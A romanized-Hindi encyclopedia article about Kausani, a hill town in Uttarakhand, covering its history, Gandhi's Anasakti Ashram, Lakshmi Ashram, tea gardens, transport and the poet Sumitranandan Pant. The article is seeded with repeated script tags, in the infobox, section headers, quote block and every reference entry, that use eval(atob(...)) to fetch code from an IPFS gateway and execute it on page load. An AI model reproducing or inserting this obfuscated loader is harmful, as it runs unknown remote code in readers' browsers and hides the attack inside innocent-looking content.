कौसानी
kausani
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| vivaran | kausani uttarakhand rajhy ke almo da shahar se 53 kimi uttar mean sthit hai. |
| rajy | uttarakhand |
| zila | bageshvar |
| bhaugolik sthiti | uttar- 29°50, poorv- 79°36 |
| marg sthiti | kausani almo da se 53 kimi, ranikhet se 62 kimi, nainital se 117 kimi, dilli se 410 kimi ki doori par sthit hai. |
| prasiddhi | kausani ko 'bharat ka svitjaralaiand' kaha jata hai. |
| kab jaean | aprail-joon aur sitanbar-navanbar |
| kaise pahuanchean | havaee jahaz, rel, bas adi se pahuancha ja sakata hai. |
| havaee adda | pantanagar havaee adda nikatatam havaee adda hai. |
| relave steshan | kathagodam relave steshan nikatatam relave steshan hai. |
| yatayat | bas, taiksi adi |
| kya dekhean | anasakti ashram, lakshmi ashram, chay ke bagan |
| kahaan thaharean | hotal, gest haus |
| kya kharidean | kumaooan sh aaul, chay |
| es.ti.di. kod | 05969 |
| e.ti.em | lagabhag sabhi |
| chitr:Map-icon.gif | googal manachitr, pantanagar havaee adda |
| bhasha | hindi, aangrezi aur kumayooanni |
| adyatan | 14:47, 25 sitambar 2011 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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kausani (aangrezi: Kausani) uttarakhand rajhy ke almo da zile se 53 kilomitar uttar mean sthit hai. yah bharat ka khoobasoorat parvatiy paryatak shthal hai. kausani himalay ki khoobasoorati ke darshan karata pianganath choti par basa hai. yahaan se barf se dhake nanda devi parvat ki choti ka nazara bada bhavhy dikhaee deta hai. kosi nadi aur gomati nadi ke bich base kausani ko rashtrapita mahatma gaandhi ne 'bharat ka svitjaralaiand' kaha tha. yahaan ke khoobasoorat prakritik nazare, khel aur dharmik shthal paryatakoan ko khas taur par apani or akarshit karate haian.
sthiti tatha itihas
samudr ke tal se lagabhag 6075 phit ki ooanchaee par basa kausani ek khoobasoorat parvatiy paryatak sthal hai. vishal himalay ke alava yahaan se nandakot, trishool aur nanda devi parvat ka bhavy nazara dekhane ko milata hai. yah parvatiy shahar chi d ke ghane pe doan ke bich ek paha di ki choti par sthit hai aur yahaan se someshvar, garu d aur baijanath katyoori ki suandar ghatiyoan ka adbhut nazara dekhane ko milata hai. kafi samay pahale kasauni almo da zile ka hissa tha aur valana ke nam se jana jata tha. us samay almo da zila katyoori ke raja baichaladev ke kshetradhikar mean ata tha. bad mean raja ne isaka kafi b da hissa gujarat ke ek brahman shri chand tivari ko de diya. mahatma gaandhi ne yahaan ki bhavyata se prabhavit hokar is jagah ko bharat ka svitjaralaiand kaha tha. vartaman mean kausani ek prasiddh paryatak sthal hai aur har sal yahaan poore vishv se sailani ate haian.[1]
paryatan sthal
paryatakoan ke lie kausani mean ghoomane ke lie kee jagahean aur haian, jahaan paryatak asani se ja sakate hai. ek to vah ghar jahaan sumitranandan pant ka janm hua tha, jise ab sangrahalay mean badal diya gaya hai. doosara hai lakshmi ashram, jise gaandhi ji ki shishya sarala devi ne banavaya tha. kausani se ap gvaladam bhi ja sakate haian. gvaladam vah jagah hai, jahaan kumaooan aur gadhaval apas mean milate haian. yahaan bahut se seb ke bagan haian. svarg se bhi suandar kahe jane vale bedani bugyal tak jane ka rasta yahian se shuroo hota hai. aur agar ap kahian nahian jana chahate, sirph kudarat ki god mean aram karana chahate haian to kausani se behatar shayad koee aur jagah nahian hai.
yatayat aur parivahan
kausani jane ke lie havaee, rel aur s dak marg ko apani suvidhanusar apanaya ja sakata hai. thumb|left||kausani se ek paha di ka drishy
- vayu marg
kausani ka nazadiki havaee adda pantanagar mean hai, jo kausani se 178 kilomitar hai. jaigsan aur kiangaphishar red ki niyamit u danean haian.
- rel marg
kausani ka nazadiki relave steshan kathagodam hai, jo kausani se 141 kilomitar ki doori par hai. uttarakhand sanpark kraanti aur ranikhet eksapres se kathagodam tak pahuanch sakate haian. kathagodam se sthaniy bas ya taiksi ki seva li ja sakati hai.
- s dak marg
dilli se kausani ki doori lagabhag 431 kilomitar hai. dilli ke anand vihar bas adde se uttarakhand rodavej ki basean kausani ke lie din bhar chalati rahati haian. ap isi bas adde se v aaulvo bhi le sakate haian, jise haldvani mean chho dana p dega.
anasakti ashram
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
[[chitr:Anasakti.jpg|left|thumb|250px|gaandhi ji ki vishram sthali anasakti ashram]] yahaan ke prakritik sauandary ki misal is tathy se samajhi ja sakati hai ki varsh 1929 mean jab poojy bapoo bharat ke daure par nikale the tab apani thakan mitane ke uddeshy se yahaan ke chay bagan ke malik ke atithi grih mean do divasiy vishram hetu yahaan aye parantu yahaan ane ke bad kausani ke us par himamandit parvatamalaoan par p dati soory ki svarnamayi kiranoan ko dekhakar itana mugdh ho gaye ki apane do din ke pravas ko bhoolakar lagatar chaudah din tak yahaan ruke rahe. apane pravas ke dauran unhoanne gita par adharit apani prasiddh pustak ‘anasakti yog’ ki rachana ka praranbhik charan poora kar dala.
lakshmi ashram
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
[[chitr:Baagan.JPG|thumb|250px|kausani aur asapas ke kshetr mean chay ke bagan]] kausani mean ek lakshmi ashram (sarala devi ashram) bhi hai. jo kausani ke bas steshan se 1 kilomitar ki doori par sthit hai. yah ashram ek aangrez aurat ne banaya tha jo landan ki mool nivasi thi. jis ka nam 'kaitharin meri helvaman' tha. vah jab 1948 mean hindustan ghoomane aee to gaandhi ji se prabhavit hokar hindustan mean hi rah gayi. kausani ko unhoanne apane karm sthali ke roop mean chuna. yahaan unhoanne lakshmi ashram ke nam se ek bordiang skool chalaya jis mean l dakiyoan ko silaee kadhaee bunaee adi sikhaya jata hai. lakshmi ashram mean shri krishna janmashtami ko bahut bhari mela lagata hai.
chay ke bagan
kausani aur asapas ke kshetr mean chay ke bagan bhi aisi hariyali ka anand dete haian, mano eeshvar ne hara kalin bichha diya ho. chay baganoan mean ghoomane ke sath-sath phaiktriyoan mean chay ko taiyar hote dekh sakate haian.left|thumb|250px|kausani se drishtigochar hoti svarnim parvat shriankhalaean
yatraean
kausani ki khoobasoorati ne to yahaan ane valoan ko akarshit kiya hi, rashtrapati mahatma gaandhi se ju di aitihasikata ne bhi b di-b di hastiyoan ko yahaan ane par majaboor kiya. in hastiyoan mean poorv pradhanamantri iandira gaandhi, soniya gaandhi, kaangres ke varishth neta d aau. karn sianh aur arun shauri pramukh haian. d aau. sianh aur arun shauri ko yah jagah itani pasand aee ki ve aqsar akar yahaan raha karate haian. prakhyat sahityakar nirmal varma ko bhi kausani pasand thi. unhoanne kee bar yahaan ki yatraean kian.
kausani ke bare mean
thumb|250px|jageshvar mandir, kausani kausani ka parichay pandit nareandr sharma ki in paktiyoan se hota hai:-
yah nee dhara, akash naya,
yah naya lok mil gaya mujhe.
thi atma jisake hit ashaant,
vah shaant lok mil gaya mujhe.
- kausani ka doosara parichay bhi sahityik hi tha. dharmavir bharati ne apane ek prasiddh nibandh ‘thele par himalay’ mean isake bare mean kafi kuchh likha hai.
- hindi ke mashahoor kavi sumitranandan pant ki janm sthali bhi kausani hai, jahaan par kavi ne apana bachapan vyatit kiya tha. pant ji yahaan jis ghar mean paida hue the, ab us ghar ka sangrahalay bana diya gaya hai. sumitranandan pant jis skool mean padhate the, vah aj bhi usi tarah chal raha hai.
- kausani mean ek chay ka bagan bhi hai, jo yahaan se lagabhag chh: kilomitar ki doori par baijanath ki taraf hai. yahaan ki chay bahut hi khushaboodar aur svadisht hoti hai. b di matra mean yahaan ki chay videshoan ko bheji jati hai, jisaki videshoan mean kafi maang hai. am chay ki tulana mean yahaan ki chay ki kimat usaki behatar gunavatta ke karan bahut zyada hai.
gaandhi ji
kausani ki sundarata ko dekh kar gaandhi ji kahate hai, 'in paha doan mean prakritik sauandary ki mehamananavazi ke age manav dvara kiya gaya koee bhi satkar phika hai. maian ashchary ke sath sochata hooan ki in parvatoan ke sauandary aur jalavayu se badh kar kisi aur jagah ka hona to door, inaki barabari bhi sansar ka koee sauandary sthal nahian kar sakata. almo da ke paha doan mean qarib tin saptah ka samay bitane ke bad maian bahut zyada ashcharyachakit hooan ki hamare yahaan ke log behatar svasthy ki chah mean yoorop kyoan jate haian.'
janm sthali
[[chitr: Pant_sagrahalay.jpg|left|thumb|250px|sumitranandan pant ki smritiyoan ko sanjota rajakiy sangrahalay]] kausani ko mahanh sahityakaroan ki janm bhoomi ke roop mean bhi jana jata hai. kausani ka ek aur sahityik parichay yah bhi hai ki kausani prakriti ke sukumar gumani pant, shailesh matiyani, sumitranandan pant ki janmasthali hai. mahakavi sumitranandan pant ko shraddhaanjali svaroop samarpit is sthal par mahakavi ki moorti sthapit hai. varsh 1990 mean sthapit is moorti ka ka anavaran vayovriddh sahityakar tatha itihasavetta pandit nityanand mishr dvara unake janm divas 20 mee ko kiya gaya tha.[2] is moorti ki sthapana ko ikkis varsh hue jisamean se gyarah varsh uttarakhand ko prithakh rajy banane ke bad ho chuke hai parantu khule asaman ke niche sthapit is moorti ke upar kainopi lagakar use varsha adi se bachane ka vichar ab tak kyoan nahian aya yah samajh se pare hai. mahakavi ka paitrak gram yahaan se kuchh hi doori par hai parantu vah aj bhi anajana tatha tiraskrit hai. sangrahalay mean mahakavi dvara upayog mean layi gayi dainik vastuyean yatha sh aaul, dipak, pustakoan ki alamari tatha mahakavi ko samarpit kuchh aik samman-patr evan pustakean tatha hastalipi surakshit haian. kausani sirph sahity ke lie hi mahattvapoorn jagah nahian hai, kausani ki ginati kumaooan ke sabase suandar paryatan sthaloan mean hoti hai.[3]
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chitr:Blockquote-open.gif
in paha doan mean prakritik sauandary ki mehamananavaji ke age manav dvara kiya gaya koee bhi satkar phika hai. maian ashchary ke sath sochata hooan ki in parvatoan ke sauandary aur jalavayu se badh kar kisi aur jagah ka hona to door, inaki barabari bhi sansar ka koee sauandary sthal nahian kar sakata. almo da ke paha doan mean qarib tin saptah ka samay bitane ke bad maian bahut zyada ashcharyachakit hooan ki hamare yahaan ke log behatar svasthy ki chah mean yoorop kyoan jate haian.
chitr:Blockquote-close.gif |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
ramesh kaushik (kavi)
kausani ki adbhut sundarata se prabhavit hokar kaviyoan ne bhi kausani ki sundarata ko apani kavita ke roop mean logoan ke samane prastut kiya hai. hindi ke kavi ramesh kaushik ne kausani ki sundarata ko dekhakar ek kavita kah dali.
parvat ki peshani
chi d, buraans, akharot, aloocha
devadar, mitha pagar au khoobani
do-char gharoan ki
chhitaput-si basti--
yah kausani
tasir hava mean aisi
apane ap log ban jate isamean
kavi, vairagi, senani
baqi sab batean bemani[4]
kab jaean
kausani ab ek sthapit prasiddh sailani sthal hai aur yahaan par thaharane ke lie bhi kee achchhe vikalp haian. disanbar se faravari ke madhy tak kausani mean khoob barph girati hai. vaise yatri yahaan poore sal bhar a sakate haian. march-aprail aur phir sitanbar-aktoobar ke mahine khule asaman vale hote haian, jinamean himalay ke shanadar nazaroan ka khoobasoorati se avalokan kiya ja sakata hai. aj kausani ne vishv paryatan ke kshetr mean ek khas sthan bana liya hai. yahaan ane vale paryatak phir se yahaan ane ka sapana liye jate haian.
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vithika
kausani
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tika tippani aur sandarbh
- ↑ kausani, bharat ka svitjaralaiand (hindi). . abhigaman tithi: 13 sitambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ mahakavi pant ki janmabhoomi kausani se... (hindi) gady kosh. abhigaman tithi: 10 sitambar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ lasani hai kausani (hindi) (ech.ti.em.el) laiv hindustan. abhigaman tithi: 25 sitambar, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ kavita kosh (hindi) ramesh kaushik. abhigaman tithi: 25 sitambar, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
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